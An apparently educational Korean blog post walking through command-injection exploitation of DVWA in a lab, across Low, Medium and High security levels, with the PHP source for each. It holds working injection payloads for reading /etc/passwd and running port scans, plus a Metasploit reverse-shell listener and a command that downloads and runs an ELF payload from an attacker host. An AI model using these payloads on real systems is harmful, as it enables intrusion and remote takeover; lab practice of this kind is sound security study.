웹 해킹 & 보안

[웹 모의해킹] Command Execution 1 - 명령어 실행 취약점 실습

ahhyun98 2025. 5. 30. 14:55

 

이번 실습은 DVWA에서 제공하는 Command Execution 취약점을 이용하여 사용자 입력을 통한 서버 명령어 실행이 가능한 상황을 재현하였다. 특히, 보안 레벨에 따른 차이를 확인하고 우회 가능한 공격 기법도 함께 실습하였다. 


1. 명령어 실행 취약점(Command Injection)이란?

명령어 실행 취약점 (Command Injection)이란 웹 애플리케이션에서 사용자 입력값을 그대로 시스템 명령어에 포함하여 실행할 경우, 공격자가 의도치 않은 명령을 실행할 수 있는 보안 취약점이다. 

 

예를 들어 다음과 같은 코드가 존재할 때

$ip = $_GET['ip'];
system("ping -c 3 " . $ip);

 

사용자가 입력값을 8.8.8.8 && whoami로 보내면 다음과 같이 실행된다.

ping -c 3 8.8.8.8 && whoami

 

=> 공격자는 시스템 명령어 whoami를 실행시켜 서버 정보를 탈취할 수 있다. 


2. 실습 환경

  • 공격자 : Kali Linux
  • 대상 : Metasploitable2 (DVWA 설치)
  • 취약점 : Command Execution
  • 접속 주소 : http://target_ip/dvwa/vulnerabilities/exec/
  • DVWA 보안 레벨 : Low, Medium, High

3. [Step 1] Low 보안 레벨 코드 분석

 

소스 코드

if (isset($_POST['submit'])) {
    $target = $_REQUEST['ip'];
    if (stristr(php_uname('s'), 'Windows NT')) {
        $cmd = shell_exec('ping ' . $target);
    } else {
        $cmd = shell_exec('ping -c 3 ' . $target);
    }
    echo "<pre>$cmd</pre>";
}

 

설명

  • 사용자의 IP 입력을 아무런 필터링 없이 shell_exec() 함수에 바로 전달하고 있다. 
  • 즉 공격자가 8.8.8.8 && whoami 같이 입력하면 두 명령이 모두 실행된다. 
  • 매우 심각한 수준의 취약점이다. 


4. [Step 2] Medium 보안 레벨 코드 분석

 

보안 필터링 추가 코드

$substitutions = array(
    '&&' => '',
    ';'  => '',
);
$target = str_replace(array_keys($substitutions), $substitutions, $target);

 

설명

  • 입력값에서 &&, ; 문자를 제거함으로써 명령어 연결을 막는다. 
  • 그러나 |, ||, & 같은 다른 쉘 연산자를 이용하면 여전히 우회 가능하다. 

ex) 8.8.8.8 || whoami , 8.8.8.8 | /bin/cat /etc/passwd, 8.8.8.8 a || /sbin/ifconfig 


5. [Step 3] High 보안 레벨 코드 분석

 

입력값을 IP 형식으로만 제한

$target = stripslashes($target);
$octet = explode(".", $target);

if (is_numeric($octet[0]) && is_numeric($octet[1]) &&
    is_numeric($octet[2]) && is_numeric($octet[3]) &&
    sizeof($octet) == 4) {

    $target = implode('.', $octet);
    $cmd = shell_exec('ping -c 3 ' . $target);
    echo "<pre>$cmd</pre>";
} else {
    echo "<pre>ERROR: You have entered an invalid IP</pre>";
}

 

설명

  • 입력값이 정확히 숫자. 숫자. 숫자. 숫자 형태의 IP 주소일 경우에만 ping 실행.
  • 사실상 명령어 삽입 시도 자체가 불가능한 구조이다. 
  • 강력한 필터링이 적용되어 있다. 

6. [Step 4] 실제 명령어 삽입 실습

Low 또는 Medium 보안 레벨 상태에서 다양한 명령어 삽입을 시도하였다. 

 

사용된 명령어 예시

127.0.0.1 || mkdir ahhyun

 

=> ||를 통해 디렉터리 생성 명령 삽입.

 

target_ip; ls /var/www/dvwa/vulnerabilities/exec

 

=> ;를 통해 디렉터리 내 파일 목록을 출력.

8.8.8.8 & nmap -vv target_ip -sV

 

=> &을 통해 백그라운드 명령어 실행 및 포트 스캔 수행.

 

 

target_ip;grep data || nmap -vv target_ip -p 80,443,445,21,22,23 >> /var/www/dvwa/hackable/scan.txt

 

=> 복합 명령어 삽입 및 결과를 파일로 저장. 

 


7. [Step 5] 리버스 쉘 시도

공격자는 명령어 삽입을 이용해 리버스 쉘 연결을 시도하였다.

 

Metasploit 리스너 설정

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost attacker_ip
set lport 4444
set exitonsession false
exploit -j

 

 

명령어 삽입을 통한 파일 다운로드 및 실행

target_ip & wget http://attacker_ip/abc.elf && chmod +x abc.elf && ./abc.elf

 

또는

target_ip & wget http://attacker_ip/abc.elf >> /var/www/dvwa/hackable && ./abc.elf

 

=> 명령어 삽입을 통해 target 서버에서 공격자 서버로부터 악성 파일을 다운로드 및 실행하였다.

 

 

 

 

 

 


8. 마무리

보안 레벨 명령어 삽입 가능 여부 설명
Low 가능 입력값 검증 없음, 치명적인 취약점
Medium 부분 가능(우회 가능) &&, ; 필터링 적용
High 불가능 정형화된 IP 형식 검증을 통해 완전 차단

 

  • 단순 필터링으로는 공격을 완전히 막을 수 없다. 
  • 화이트리스트 기반 검증, 명령어 실행 함수 제거, WAF 도입이 필요하다. 
  • 실습을 통해 ping 명령 외에도 nmap, wget, mkdir, grep 등 다양한 명령 실행이 가능함을 확인하였다. 

 

 

 

이 블로그는 불법 해킹 및 악의적인 활동을 지양하며, 그런 행위는 절대 권장하지 않습니다.

모든 실습은 허가된 환경에서만 진행해야 하며, 법적 책임은 사용자 본인에게 있습니다.